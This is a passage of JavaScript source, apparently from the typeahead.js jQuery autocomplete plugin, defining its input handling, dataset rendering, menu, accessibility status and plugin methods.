                var keyName = specialKeyCodeMap[$e.which || $e.keyCode];
                this._managePreventDefault(keyName, $e);
                if (keyName && this._shouldTrigger(keyName, $e)) {
                    this.trigger(keyName + "Keyed", $e);
                }
            },
            _onInput: function onInput() {
                this._setQuery(this.getInputValue());
                this.clearHintIfInvalid();
                this._checkLanguageDirection();
            },
            _managePreventDefault: function managePreventDefault(keyName, $e) {
                var preventDefault;
                switch (keyName) {
                  case "up":
                  case "down":
                    preventDefault = !withModifier($e);
                    break;

                  default:
                    preventDefault = false;
                }
                preventDefault && $e.preventDefault();
            },
            _shouldTrigger: function shouldTrigger(keyName, $e) {
                var trigger;
                switch (keyName) {
                  case "tab":
                    trigger = !withModifier($e);
                    break;

                  default:
                    trigger = true;
                }
                return trigger;
            },
            _checkLanguageDirection: function checkLanguageDirection() {
                var dir = (this.$input.css("direction") || "ltr").toLowerCase();
                if (this.dir !== dir) {
                    this.dir = dir;
                    this.$hint.attr("dir", dir);
                    this.trigger("langDirChanged", dir);
                }
            },
            _setQuery: function setQuery(val, silent) {
                var areEquivalent, hasDifferentWhitespace;
                areEquivalent = areQueriesEquivalent(val, this.query);
                hasDifferentWhitespace = areEquivalent ? this.query.length !== val.length : false;
                this.query = val;
                if (!silent && !areEquivalent) {
                    this.trigger("queryChanged", this.query);
                } else if (!silent && hasDifferentWhitespace) {
                    this.trigger("whitespaceChanged", this.query);
                }
            },
            _updateDescendent: function updateDescendent(event, id) {
                this.$input.attr("aria-activedescendant", id);
            },
            bind: function() {
                var that = this, onBlur, onFocus, onKeydown, onInput;
                onBlur = _.bind(this._onBlur, this);
                onFocus = _.bind(this._onFocus, this);
                onKeydown = _.bind(this._onKeydown, this);
                onInput = _.bind(this._onInput, this);
                this.$input.on("blur.tt", onBlur).on("focus.tt", onFocus).on("keydown.tt", onKeydown);
                if (!_.isMsie() || _.isMsie() > 9) {
                    this.$input.on("input.tt", onInput);
                } else {
                    this.$input.on("keydown.tt keypress.tt cut.tt paste.tt", function($e) {
                        if (specialKeyCodeMap[$e.which || $e.keyCode]) {
                            return;
                        }
                        _.defer(_.bind(that._onInput, that, $e));
                    });
                }
                return this;
            },
            focus: function focus() {
                this.$input.focus();
            },
            blur: function blur() {
                this.$input.blur();
            },
            getLangDir: function getLangDir() {
                return this.dir;
            },
            getQuery: function getQuery() {
                return this.query || "";
            },
            setQuery: function setQuery(val, silent) {
                this.setInputValue(val);
                this._setQuery(val, silent);
            },
            hasQueryChangedSinceLastFocus: function hasQueryChangedSinceLastFocus() {
                return this.query !== this.queryWhenFocused;
            },
            getInputValue: function getInputValue() {
                return this.$input.val();
            },
            setInputValue: function setInputValue(value) {
                this.$input.val(value);
                this.clearHintIfInvalid();
                this._checkLanguageDirection();
            },
            resetInputValue: function resetInputValue() {
                this.setInputValue(this.query);
            },
            getHint: function getHint() {
                return this.$hint.val();
            },
            setHint: function setHint(value) {
                this.$hint.val(value);
            },
            clearHint: function clearHint() {
                this.setHint("");
            },
            clearHintIfInvalid: function clearHintIfInvalid() {
                var val, hint, valIsPrefixOfHint, isValid;
                val = this.getInputValue();
                hint = this.getHint();
                valIsPrefixOfHint = val !== hint && hint.indexOf(val) === 0;
                isValid = val !== "" && valIsPrefixOfHint && !this.hasOverflow();
                !isValid && this.clearHint();
            },
            hasFocus: function hasFocus() {
                return this.$input.is(":focus");
            },
            hasOverflow: function hasOverflow() {
                var constraint = this.$input.width() - 2;
                this.$overflowHelper.text(this.getInputValue());
                return this.$overflowHelper.width() >= constraint;
            },
            isCursorAtEnd: function() {
                var valueLength, selectionStart, range;
                valueLength = this.$input.val().length;
                selectionStart = this.$input[0].selectionStart;
                if (_.isNumber(selectionStart)) {
                    return selectionStart === valueLength;
                } else if (document.selection) {
                    range = document.selection.createRange();
                    range.moveStart("character", -valueLength);
                    return valueLength === range.text.length;
                }
                return true;
            },
            destroy: function destroy() {
                this.$hint.off(".tt");
                this.$input.off(".tt");
                this.$overflowHelper.remove();
                this.$hint = this.$input = this.$overflowHelper = $("<div>");
            }
        });
        return Input;
        function buildOverflowHelper($input) {
            return $('<pre aria-hidden="true"></pre>').css({
                position: "absolute",
                visibility: "hidden",
                whiteSpace: "pre",
                fontFamily: $input.css("font-family"),
                fontSize: $input.css("font-size"),
                fontStyle: $input.css("font-style"),
                fontVariant: $input.css("font-variant"),
                fontWeight: $input.css("font-weight"),
                wordSpacing: $input.css("word-spacing"),
                letterSpacing: $input.css("letter-spacing"),
                textIndent: $input.css("text-indent"),
                textRendering: $input.css("text-rendering"),
                textTransform: $input.css("text-transform")
            }).insertAfter($input);
        }
        function areQueriesEquivalent(a, b) {
            return Input.normalizeQuery(a) === Input.normalizeQuery(b);
        }
        function withModifier($e) {
            return $e.altKey || $e.ctrlKey || $e.metaKey || $e.shiftKey;
        }
    }();
    var Dataset = function() {
        "use strict";
        var keys, nameGenerator;
        keys = {
            dataset: "tt-selectable-dataset",
            val: "tt-selectable-display",
            obj: "tt-selectable-object"
        };
        nameGenerator = _.getIdGenerator();
        function Dataset(o, www) {
            o = o || {};
            o.templates = o.templates || {};
            o.templates.notFound = o.templates.notFound || o.templates.empty;
            if (!o.source) {
                $.error("missing source");
            }
            if (!o.node) {
                $.error("missing node");
            }
            if (o.name && !isValidName(o.name)) {
                $.error("invalid dataset name: " + o.name);
            }
            www.mixin(this);
            this.highlight = !!o.highlight;
            this.name = _.toStr(o.name || nameGenerator());
            this.limit = o.limit || 5;
            this.displayFn = getDisplayFn(o.display || o.displayKey);
            this.templates = getTemplates(o.templates, this.displayFn);
            this.source = o.source.__ttAdapter ? o.source.__ttAdapter() : o.source;
            this.async = _.isUndefined(o.async) ? this.source.length > 2 : !!o.async;
            this._resetLastSuggestion();
            this.$el = $(o.node).attr("role", "presentation").addClass(this.classes.dataset).addClass(this.classes.dataset + "-" + this.name);
        }
        Dataset.extractData = function extractData(el) {
            var $el = $(el);
            if ($el.data(keys.obj)) {
                return {
                    dataset: $el.data(keys.dataset) || "",
                    val: $el.data(keys.val) || "",
                    obj: $el.data(keys.obj) || null
                };
            }
            return null;
        };
        _.mixin(Dataset.prototype, EventEmitter, {
            _overwrite: function overwrite(query, suggestions) {
                suggestions = suggestions || [];
                if (suggestions.length) {
                    this._renderSuggestions(query, suggestions);
                } else if (this.async && this.templates.pending) {
                    this._renderPending(query);
                } else if (!this.async && this.templates.notFound) {
                    this._renderNotFound(query);
                } else {
                    this._empty();
                }
                this.trigger("rendered", suggestions, false, this.name);
            },
            _append: function append(query, suggestions) {
                suggestions = suggestions || [];
                if (suggestions.length && this.$lastSuggestion.length) {
                    this._appendSuggestions(query, suggestions);
                } else if (suggestions.length) {
                    this._renderSuggestions(query, suggestions);
                } else if (!this.$lastSuggestion.length && this.templates.notFound) {
                    this._renderNotFound(query);
                }
                this.trigger("rendered", suggestions, true, this.name);
            },
            _renderSuggestions: function renderSuggestions(query, suggestions) {
                var $fragment;
                $fragment = this._getSuggestionsFragment(query, suggestions);
                this.$lastSuggestion = $fragment.children().last();
                this.$el.html($fragment).prepend(this._getHeader(query, suggestions)).append(this._getFooter(query, suggestions));
            },
            _appendSuggestions: function appendSuggestions(query, suggestions) {
                var $fragment, $lastSuggestion;
                $fragment = this._getSuggestionsFragment(query, suggestions);
                $lastSuggestion = $fragment.children().last();
                this.$lastSuggestion.after($fragment);
                this.$lastSuggestion = $lastSuggestion;
            },
            _renderPending: function renderPending(query) {
                var template = this.templates.pending;
                this._resetLastSuggestion();
                template && this.$el.html(template({
                    query: query,
                    dataset: this.name
                }));
            },
            _renderNotFound: function renderNotFound(query) {
                var template = this.templates.notFound;
                this._resetLastSuggestion();
                template && this.$el.html(template({
                    query: query,
                    dataset: this.name
                }));
            },
            _empty: function empty() {
                this.$el.empty();
                this._resetLastSuggestion();
            },
            _getSuggestionsFragment: function getSuggestionsFragment(query, suggestions) {
                var that = this, fragment;
                fragment = document.createDocumentFragment();
                _.each(suggestions, function getSuggestionNode(suggestion) {
                    var $el, context;
                    context = that._injectQuery(query, suggestion);
                    $el = $(that.templates.suggestion(context)).data(keys.dataset, that.name).data(keys.obj, suggestion).data(keys.val, that.displayFn(suggestion)).addClass(that.classes.suggestion + " " + that.classes.selectable);
                    fragment.appendChild($el[0]);
                });
                this.highlight && highlight({
                    className: this.classes.highlight,
                    node: fragment,
                    pattern: query
                });
                return $(fragment);
            },
            _getFooter: function getFooter(query, suggestions) {
                return this.templates.footer ? this.templates.footer({
                    query: query,
                    suggestions: suggestions,
                    dataset: this.name
                }) : null;
            },
            _getHeader: function getHeader(query, suggestions) {
                return this.templates.header ? this.templates.header({
                    query: query,
                    suggestions: suggestions,
                    dataset: this.name
                }) : null;
            },
            _resetLastSuggestion: function resetLastSuggestion() {
                this.$lastSuggestion = $();
            },
            _injectQuery: function injectQuery(query, obj) {
                return _.isObject(obj) ? _.mixin({
                    _query: query
                }, obj) : obj;
            },
            update: function update(query) {
                var that = this, canceled = false, syncCalled = false, rendered = 0;
                this.cancel();
                this.cancel = function cancel() {
                    canceled = true;
                    that.cancel = $.noop;
                    that.async && that.trigger("asyncCanceled", query, that.name);
                };
                this.source(query, sync, async);
                !syncCalled && sync([]);
                function sync(suggestions) {
                    if (syncCalled) {
                        return;
                    }
                    syncCalled = true;
                    suggestions = (suggestions || []).slice(0, that.limit);
                    rendered = suggestions.length;
                    that._overwrite(query, suggestions);
                    if (rendered < that.limit && that.async) {
                        that.trigger("asyncRequested", query, that.name);
                    }
                }
                function async(suggestions) {
                    suggestions = suggestions || [];
                    if (!canceled && rendered < that.limit) {
                        that.cancel = $.noop;
                        var idx = Math.abs(rendered - that.limit);
                        rendered += idx;
                        that._append(query, suggestions.slice(0, idx));
                        that.async && that.trigger("asyncReceived", query, that.name);
                    }
                }
            },
            cancel: $.noop,
            clear: function clear() {
                this._empty();
                this.cancel();
                this.trigger("cleared");
            },
            isEmpty: function isEmpty() {
                return this.$el.is(":empty");
            },
            destroy: function destroy() {
                this.$el = $("<div>");
            }
        });
        return Dataset;
        function getDisplayFn(display) {
            display = display || _.stringify;
            return _.isFunction(display) ? display : displayFn;
            function displayFn(obj) {
                return obj[display];
            }
        }
        function getTemplates(templates, displayFn) {
            return {
                notFound: templates.notFound && _.templatify(templates.notFound),
                pending: templates.pending && _.templatify(templates.pending),
                header: templates.header && _.templatify(templates.header),
                footer: templates.footer && _.templatify(templates.footer),
                suggestion: templates.suggestion || suggestionTemplate
            };
            function suggestionTemplate(context) {
                return $('<div role="option">').attr("id", _.guid()).text(displayFn(context));
            }
        }
        function isValidName(str) {
            return /^[_a-zA-Z0-9-]+$/.test(str);
        }
    }();
    var Menu = function() {
        "use strict";
        function Menu(o, www) {
            var that = this;
            o = o || {};
            if (!o.node) {
                $.error("node is required");
            }
            www.mixin(this);
            this.$node = $(o.node);
            this.query = null;
            this.datasets = _.map(o.datasets, initializeDataset);
            function initializeDataset(oDataset) {
                var node = that.$node.find(oDataset.node).first();
                oDataset.node = node.length ? node : $("<div>").appendTo(that.$node);
                return new Dataset(oDataset, www);
            }
        }
        _.mixin(Menu.prototype, EventEmitter, {
            _onSelectableClick: function onSelectableClick($e) {
                this.trigger("selectableClicked", $($e.currentTarget));
            },
            _onRendered: function onRendered(type, dataset, suggestions, async) {
                this.$node.toggleClass(this.classes.empty, this._allDatasetsEmpty());
                this.trigger("datasetRendered", dataset, suggestions, async);
            },
            _onCleared: function onCleared() {
                this.$node.toggleClass(this.classes.empty, this._allDatasetsEmpty());
                this.trigger("datasetCleared");
            },
            _propagate: function propagate() {
                this.trigger.apply(this, arguments);
            },
            _allDatasetsEmpty: function allDatasetsEmpty() {
                return _.every(this.datasets, _.bind(function isDatasetEmpty(dataset) {
                    var isEmpty = dataset.isEmpty();
                    this.$node.attr("aria-expanded", !isEmpty);
                    return isEmpty;
                }, this));
            },
            _getSelectables: function getSelectables() {
                return this.$node.find(this.selectors.selectable);
            },
            _removeCursor: function _removeCursor() {
                var $selectable = this.getActiveSelectable();
                $selectable && $selectable.removeClass(this.classes.cursor);
            },
            _ensureVisible: function ensureVisible($el) {
                var elTop, elBottom, nodeScrollTop, nodeHeight;
                elTop = $el.position().top;
                elBottom = elTop + $el.outerHeight(true);
                nodeScrollTop = this.$node.scrollTop();
                nodeHeight = this.$node.height() + parseInt(this.$node.css("paddingTop"), 10) + parseInt(this.$node.css("paddingBottom"), 10);
                if (elTop < 0) {
                    this.$node.scrollTop(nodeScrollTop + elTop);
                } else if (nodeHeight < elBottom) {
                    this.$node.scrollTop(nodeScrollTop + (elBottom - nodeHeight));
                }
            },
            bind: function() {
                var that = this, onSelectableClick;
                onSelectableClick = _.bind(this._onSelectableClick, this);
                this.$node.on("click.tt", this.selectors.selectable, onSelectableClick);
                this.$node.on("mouseover", this.selectors.selectable, function() {
                    that.setCursor($(this));
                });
                this.$node.on("mouseleave", function() {
                    that._removeCursor();
                });
                _.each(this.datasets, function(dataset) {
                    dataset.onSync("asyncRequested", that._propagate, that).onSync("asyncCanceled", that._propagate, that).onSync("asyncReceived", that._propagate, that).onSync("rendered", that._onRendered, that).onSync("cleared", that._onCleared, that);
                });
                return this;
            },
            isOpen: function isOpen() {
                return this.$node.hasClass(this.classes.open);
            },
            open: function open() {
                this.$node.scrollTop(0);
                this.$node.addClass(this.classes.open);
            },
            close: function close() {
                this.$node.attr("aria-expanded", false);
                this.$node.removeClass(this.classes.open);
                this._removeCursor();
            },
            setLanguageDirection: function setLanguageDirection(dir) {
                this.$node.attr("dir", dir);
            },
            selectableRelativeToCursor: function selectableRelativeToCursor(delta) {
                var $selectables, $oldCursor, oldIndex, newIndex;
                $oldCursor = this.getActiveSelectable();
                $selectables = this._getSelectables();
                oldIndex = $oldCursor ? $selectables.index($oldCursor) : -1;
                newIndex = oldIndex + delta;
                newIndex = (newIndex + 1) % ($selectables.length + 1) - 1;
                newIndex = newIndex < -1 ? $selectables.length - 1 : newIndex;
                return newIndex === -1 ? null : $selectables.eq(newIndex);
            },
            setCursor: function setCursor($selectable) {
                this._removeCursor();
                if ($selectable = $selectable && $selectable.first()) {
                    $selectable.addClass(this.classes.cursor);
                    this._ensureVisible($selectable);
                }
            },
            getSelectableData: function getSelectableData($el) {
                return $el && $el.length ? Dataset.extractData($el) : null;
            },
            getActiveSelectable: function getActiveSelectable() {
                var $selectable = this._getSelectables().filter(this.selectors.cursor).first();
                return $selectable.length ? $selectable : null;
            },
            getTopSelectable: function getTopSelectable() {
                var $selectable = this._getSelectables().first();
                return $selectable.length ? $selectable : null;
            },
            update: function update(query) {
                var isValidUpdate = query !== this.query;
                if (isValidUpdate) {
                    this.query = query;
                    _.each(this.datasets, updateDataset);
                }
                return isValidUpdate;
                function updateDataset(dataset) {
                    dataset.update(query);
                }
            },
            empty: function empty() {
                _.each(this.datasets, clearDataset);
                this.query = null;
                this.$node.addClass(this.classes.empty);
                function clearDataset(dataset) {
                    dataset.clear();
                }
            },
            destroy: function destroy() {
                this.$node.off(".tt");
                this.$node = $("<div>");
                _.each(this.datasets, destroyDataset);
                function destroyDataset(dataset) {
                    dataset.destroy();
                }
            }
        });
        return Menu;
    }();
    var Status = function() {
        "use strict";
        function Status(options) {
            this.$el = $("<span></span>", {
                role: "status",
                "aria-live": "polite"
            }).css({
                position: "absolute",
                padding: "0",
                border: "0",
                height: "1px",
                width: "1px",
                "margin-bottom": "-1px",
                "margin-right": "-1px",
                overflow: "hidden",
                clip: "rect(0 0 0 0)",
                "white-space": "nowrap"
            });
            options.$input.after(this.$el);
            _.each(options.menu.datasets, _.bind(function(dataset) {
                if (dataset.onSync) {
                    dataset.onSync("rendered", _.bind(this.update, this));
                    dataset.onSync("cleared", _.bind(this.cleared, this));
                }
            }, this));
        }
        _.mixin(Status.prototype, {
            update: function update(event, suggestions) {
                var length = suggestions.length;
                var words;
                if (length === 1) {
                    words = {
                        result: "result",
                        is: "is"
                    };
                } else {
                    words = {
                        result: "results",
                        is: "are"
                    };
                }
                this.$el.text(length + " " + words.result + " " + words.is + " available, use up and down arrow keys to navigate.");
            },
            cleared: function() {
                this.$el.text("");
            }
        });
        return Status;
    }();
    var DefaultMenu = function() {
        "use strict";
        var s = Menu.prototype;
        function DefaultMenu() {
            Menu.apply(this, [].slice.call(arguments, 0));
        }
        _.mixin(DefaultMenu.prototype, Menu.prototype, {
            open: function open() {
                !this._allDatasetsEmpty() && this._show();
                return s.open.apply(this, [].slice.call(arguments, 0));
            },
            close: function close() {
                this._hide();
                return s.close.apply(this, [].slice.call(arguments, 0));
            },
            _onRendered: function onRendered() {
                if (this._allDatasetsEmpty()) {
                    this._hide();
                } else {
                    this.isOpen() && this._show();
                }
                return s._onRendered.apply(this, [].slice.call(arguments, 0));
            },
            _onCleared: function onCleared() {
                if (this._allDatasetsEmpty()) {
                    this._hide();
                } else {
                    this.isOpen() && this._show();
                }
                return s._onCleared.apply(this, [].slice.call(arguments, 0));
            },
            setLanguageDirection: function setLanguageDirection(dir) {
                this.$node.css(dir === "ltr" ? this.css.ltr : this.css.rtl);
                return s.setLanguageDirection.apply(this, [].slice.call(arguments, 0));
            },
            _hide: function hide() {
                this.$node.hide();
            },
            _show: function show() {
                this.$node.css("display", "block");
            }
        });
        return DefaultMenu;
    }();
    var Typeahead = function() {
        "use strict";
        function Typeahead(o, www) {
            var onFocused, onBlurred, onEnterKeyed, onTabKeyed, onEscKeyed, onUpKeyed, onDownKeyed, onLeftKeyed, onRightKeyed, onQueryChanged, onWhitespaceChanged;
            o = o || {};
            if (!o.input) {
                $.error("missing input");
            }
            if (!o.menu) {
                $.error("missing menu");
            }
            if (!o.eventBus) {
                $.error("missing event bus");
            }
            www.mixin(this);
            this.eventBus = o.eventBus;
            this.minLength = _.isNumber(o.minLength) ? o.minLength : 1;
            this.input = o.input;
            this.menu = o.menu;
            this.enabled = true;
            this.active = false;
            this.input.hasFocus() && this.activate();
            this.dir = this.input.getLangDir();
            this._hacks();
            this.menu.bind().onSync("selectableClicked", this._onSelectableClicked, this).onSync("asyncRequested", this._onAsyncRequested, this).onSync("asyncCanceled", this._onAsyncCanceled, this).onSync("asyncReceived", this._onAsyncReceived, this).onSync("datasetRendered", this._onDatasetRendered, this).onSync("datasetCleared", this._onDatasetCleared, this);
            onFocused = c(this, "activate", "open", "_onFocused");
            onBlurred = c(this, "deactivate", "_onBlurred");
            onEnterKeyed = c(this, "isActive", "isOpen", "_onEnterKeyed");
            onTabKeyed = c(this, "isActive", "isOpen", "_onTabKeyed");
            onEscKeyed = c(this, "isActive", "_onEscKeyed");
            onUpKeyed = c(this, "isActive", "open", "_onUpKeyed");
            onDownKeyed = c(this, "isActive", "open", "_onDownKeyed");
            onLeftKeyed = c(this, "isActive", "isOpen", "_onLeftKeyed");
            onRightKeyed = c(this, "isActive", "isOpen", "_onRightKeyed");
            onQueryChanged = c(this, "_openIfActive", "_onQueryChanged");
            onWhitespaceChanged = c(this, "_openIfActive", "_onWhitespaceChanged");
            this.input.bind().onSync("focused", onFocused, this).onSync("blurred", onBlurred, this).onSync("enterKeyed", onEnterKeyed, this).onSync("tabKeyed", onTabKeyed, this).onSync("escKeyed", onEscKeyed, this).onSync("upKeyed", onUpKeyed, this).onSync("downKeyed", onDownKeyed, this).onSync("leftKeyed", onLeftKeyed, this).onSync("rightKeyed", onRightKeyed, this).onSync("queryChanged", onQueryChanged, this).onSync("whitespaceChanged", onWhitespaceChanged, this).onSync("langDirChanged", this._onLangDirChanged, this);
        }
        _.mixin(Typeahead.prototype, {
            _hacks: function hacks() {
                var $input, $menu;
                $input = this.input.$input || $("<div>");
                $menu = this.menu.$node || $("<div>");
                $input.on("blur.tt", function($e) {
                    var active, isActive, hasActive;
                    active = document.activeElement;
                    isActive = $menu.is(active);
                    hasActive = $menu.has(active).length > 0;
                    if (_.isMsie() && (isActive || hasActive)) {
                        $e.preventDefault();
                        $e.stopImmediatePropagation();
                        _.defer(function() {
                            $input.focus();
                        });
                    }
                });
                $menu.on("mousedown.tt", function($e) {
                    $e.preventDefault();
                });
            },
            _onSelectableClicked: function onSelectableClicked(type, $el) {
                this.select($el);
            },
            _onDatasetCleared: function onDatasetCleared() {
                this._updateHint();
            },
            _onDatasetRendered: function onDatasetRendered(type, suggestions, async, dataset) {
                this._updateHint();
                this.eventBus.trigger("render", suggestions, async, dataset);
            },
            _onAsyncRequested: function onAsyncRequested(type, dataset, query) {
                this.eventBus.trigger("asyncrequest", query, dataset);
            },
            _onAsyncCanceled: function onAsyncCanceled(type, dataset, query) {
                this.eventBus.trigger("asynccancel", query, dataset);
            },
            _onAsyncReceived: function onAsyncReceived(type, dataset, query) {
                this.eventBus.trigger("asyncreceive", query, dataset);
            },
            _onFocused: function onFocused() {
                this._minLengthMet() && this.menu.update(this.input.getQuery());
            },
            _onBlurred: function onBlurred() {
                if (this.input.hasQueryChangedSinceLastFocus()) {
                    this.eventBus.trigger("change", this.input.getQuery());
                }
            },
            _onEnterKeyed: function onEnterKeyed(type, $e) {
                var $selectable;
                if ($selectable = this.menu.getActiveSelectable()) {
                    if (this.select($selectable)) {
                        $e.preventDefault();
                        $e.stopPropagation();
                    }
                }
            },
            _onTabKeyed: function onTabKeyed(type, $e) {
                var $selectable;
                if ($selectable = this.menu.getActiveSelectable()) {
                    this.select($selectable) && $e.preventDefault();
                } else if ($selectable = this.menu.getTopSelectable()) {
                    this.autocomplete($selectable) && $e.preventDefault();
                }
            },
            _onEscKeyed: function onEscKeyed() {
                this.close();
            },
            _onUpKeyed: function onUpKeyed() {
                this.moveCursor(-1);
            },
            _onDownKeyed: function onDownKeyed() {
                this.moveCursor(+1);
            },
            _onLeftKeyed: function onLeftKeyed() {
                if (this.dir === "rtl" && this.input.isCursorAtEnd()) {
                    this.autocomplete(this.menu.getActiveSelectable() || this.menu.getTopSelectable());
                }
            },
            _onRightKeyed: function onRightKeyed() {
                if (this.dir === "ltr" && this.input.isCursorAtEnd()) {
                    this.autocomplete(this.menu.getActiveSelectable() || this.menu.getTopSelectable());
                }
            },
            _onQueryChanged: function onQueryChanged(e, query) {
                this._minLengthMet(query) ? this.menu.update(query) : this.menu.empty();
            },
            _onWhitespaceChanged: function onWhitespaceChanged() {
                this._updateHint();
            },
            _onLangDirChanged: function onLangDirChanged(e, dir) {
                if (this.dir !== dir) {
                    this.dir = dir;
                    this.menu.setLanguageDirection(dir);
                }
            },
            _openIfActive: function openIfActive() {
                this.isActive() && this.open();
            },
            _minLengthMet: function minLengthMet(query) {
                query = _.isString(query) ? query : this.input.getQuery() || "";
                return query.length >= this.minLength;
            },
            _updateHint: function updateHint() {
                var $selectable, data, val, query, escapedQuery, frontMatchRegEx, match;
                $selectable = this.menu.getTopSelectable();
                data = this.menu.getSelectableData($selectable);
                val = this.input.getInputValue();
                if (data && !_.isBlankString(val) && !this.input.hasOverflow()) {
                    query = Input.normalizeQuery(val);
                    escapedQuery = _.escapeRegExChars(query);
                    frontMatchRegEx = new RegExp("^(?:" + escapedQuery + ")(.+$)", "i");
                    match = frontMatchRegEx.exec(data.val);
                    match && this.input.setHint(val + match[1]);
                } else {
                    this.input.clearHint();
                }
            },
            isEnabled: function isEnabled() {
                return this.enabled;
            },
            enable: function enable() {
                this.enabled = true;
            },
            disable: function disable() {
                this.enabled = false;
            },
            isActive: function isActive() {
                return this.active;
            },
            activate: function activate() {
                if (this.isActive()) {
                    return true;
                } else if (!this.isEnabled() || this.eventBus.before("active")) {
                    return false;
                } else {
                    this.active = true;
                    this.eventBus.trigger("active");
                    return true;
                }
            },
            deactivate: function deactivate() {
                if (!this.isActive()) {
                    return true;
                } else if (this.eventBus.before("idle")) {
                    return false;
                } else {
                    this.active = false;
                    this.close();
                    this.eventBus.trigger("idle");
                    return true;
                }
            },
            isOpen: function isOpen() {
                return this.menu.isOpen();
            },
            open: function open() {
                if (!this.isOpen() && !this.eventBus.before("open")) {
                    this.menu.open();
                    this._updateHint();
                    this.eventBus.trigger("open");
                }
                return this.isOpen();
            },
            close: function close() {
                if (this.isOpen() && !this.eventBus.before("close")) {
                    this.menu.close();
                    this.input.clearHint();
                    this.input.resetInputValue();
                    this.eventBus.trigger("close");
                }
                return !this.isOpen();
            },
            setVal: function setVal(val) {
                this.input.setQuery(_.toStr(val));
            },
            getVal: function getVal() {
                return this.input.getQuery();
            },
            select: function select($selectable) {
                var data = this.menu.getSelectableData($selectable);
                if (data && !this.eventBus.before("select", data.obj, data.dataset)) {
                    this.input.setQuery(data.val, true);
                    this.eventBus.trigger("select", data.obj, data.dataset);
                    this.close();
                    return true;
                }
                return false;
            },
            autocomplete: function autocomplete($selectable) {
                var query, data, isValid;
                query = this.input.getQuery();
                data = this.menu.getSelectableData($selectable);
                isValid = data && query !== data.val;
                if (isValid && !this.eventBus.before("autocomplete", data.obj, data.dataset)) {
                    this.input.setQuery(data.val);
                    this.eventBus.trigger("autocomplete", data.obj, data.dataset);
                    return true;
                }
                return false;
            },
            moveCursor: function moveCursor(delta) {
                var query, $candidate, data, suggestion, datasetName, cancelMove, id;
                query = this.input.getQuery();
                $candidate = this.menu.selectableRelativeToCursor(delta);
                data = this.menu.getSelectableData($candidate);
                suggestion = data ? data.obj : null;
                datasetName = data ? data.dataset : null;
                id = $candidate ? $candidate.attr("id") : null;
                this.input.trigger("cursorchange", id);
                cancelMove = this._minLengthMet() && this.menu.update(query);
                if (!cancelMove && !this.eventBus.before("cursorchange", suggestion, datasetName)) {
                    this.menu.setCursor($candidate);
                    if (data) {
                        this.input.setInputValue(data.val);
                    } else {
                        this.input.resetInputValue();
                        this._updateHint();
                    }
                    this.eventBus.trigger("cursorchange", suggestion, datasetName);
                    return true;
                }
                return false;
            },
            destroy: function destroy() {
                this.input.destroy();
                this.menu.destroy();
            }
        });
        return Typeahead;
        function c(ctx) {
            var methods = [].slice.call(arguments, 1);
            return function() {
                var args = [].slice.call(arguments);
                _.each(methods, function(method) {
                    return ctx[method].apply(ctx, args);
                });
            };
        }
    }();
    (function() {
        "use strict";
        var old, keys, methods;
        old = $.fn.typeahead;
        keys = {
            www: "tt-www",
            attrs: "tt-attrs",
            typeahead: "tt-typeahead"
        };
        methods = {
            initialize: function initialize(o, datasets) {
                var www;
                datasets = _.isArray(datasets) ? datasets : [].slice.call(arguments, 1);
                o = o || {};
                www = WWW(o.classNames);
                return this.each(attach);
                function attach() {
                    var $input, $wrapper, $hint, $menu, defaultHint, defaultMenu, eventBus, input, menu, status, typeahead, MenuConstructor;
                    _.each(datasets, function(d) {
                        d.highlight = !!o.highlight;
                    });
                    $input = $(this);
                    $wrapper = $(www.html.wrapper);
                    $hint = $elOrNull(o.hint);
                    $menu = $elOrNull(o.menu);
                    defaultHint = o.hint !== false && !$hint;
                    defaultMenu = o.menu !== false && !$menu;
                    defaultHint && ($hint = buildHintFromInput($input, www));
                    defaultMenu && ($menu = $(www.html.menu).css(www.css.menu));
                    $hint && $hint.val("");
                    $input = prepInput($input, www);
                    if (defaultHint || defaultMenu) {
                        $wrapper.css(www.css.wrapper);
                        $input.css(defaultHint ? www.css.input : www.css.inputWithNoHint);
                        $input.wrap($wrapper).parent().prepend(defaultHint ? $hint : null).append(defaultMenu ? $menu : null);
                    }
                    MenuConstructor = defaultMenu ? DefaultMenu : Menu;
                    eventBus = new EventBus({
                        el: $input
                    });
                    input = new Input({
                        hint: $hint,
                        input: $input
                    }, www);
                    menu = new MenuConstructor({
                        node: $menu,
                        datasets: datasets
                    }, www);
                    status = new Status({
                        $input: $input,
                        menu: menu
                    });
                    typeahead = new Typeahead({
                        input: input,
                        menu: menu,
                        eventBus: eventBus,
                        minLength: o.minLength
                    }, www);
                    $input.data(keys.www, www);
                    $input.data(keys.typeahead, typeahead);
                }
            },
            isEnabled: function isEnabled() {
                var enabled;
                ttEach(this.first(), function(t) {
                    enabled = t.isEnabled();
                });
                return enabled;
            },
            enable: function enable() {
                ttEach(this, function(t) {
                    t.enable();
                });
                return this;
            },
            disable: function disable() {
                ttEach(this, function(t) {
                    t.disable();
                });
                return this;
            },
            isActive: function isActive() {
                var active;
                ttEach(this.first(), function(t) {
                    active = t.isActive();
                });
                return active;
            },
            activate: function activate() {
                ttEach(this, function(t) {
                    t.activate();
                });
                return this;
            },
            deactivate: function deactivate() {
                ttEach(this, function(t) {
                    t.deactivate();
                });
                return this;
            },
            isOpen: function isOpen() {
                var open;
                ttEach(this.first(), function(t) {
                    open = t.isOpen();
                });
                return open;
            },
            open: function open() {
                ttEach(this, function(t) {
                    t.open();
                });
                return this;
            },
            close: function close() {
                ttEach(this, function(t) {
                    t.close();
                });
                return this;
            },
            select: function select(el) {
                var success = false, $el = $(el);
                ttEach(this.first(), function(t) {
                    success = t.select($el);
                });
                return success;
            },
            autocomplete: function autocomplete(el) {
                var success = false, $el = $(el);
                ttEach(this.first(), function(t) {
                    success = t.autocomplete($el);
                });
                return success;
            },
            moveCursor: function moveCursoe(delta) {
                var success = false;
                ttEach(this.first(), function(t) {
                    success = t.moveCursor(delta);
                });
                return success;
            },
            val: function val(newVal) {
                var query;
                if (!arguments.length) {
                    ttEach(this.first(), function(t) {
                        query = t.getVal();
                    });
                    return query;
                } else {
                    ttEach(this, function(t) {
                        t.setVal(_.toStr(newVal));
                    });
                    return this;
                }
            },
            destroy: function destroy() {
                ttEach(this, function(typeahead, $input) {
                    revert($input);
                    typeahead.destroy();
                });
                return this;
            }
        };
        $.fn.typeahead = function(method) {
            if (methods[method]) {
                return methods[method].apply(this, [].slice.call(arguments, 1));
            } else {
                return methods.initialize.apply(this, arguments);
            }
        };
        $.fn.typeahead.noConflict = function noConflict() {
            $.fn.typeahead = old;
            return this;
        };
        function ttEach($els, fn) {
            $els.each(function() {
                var $input = $(this), typeahead;
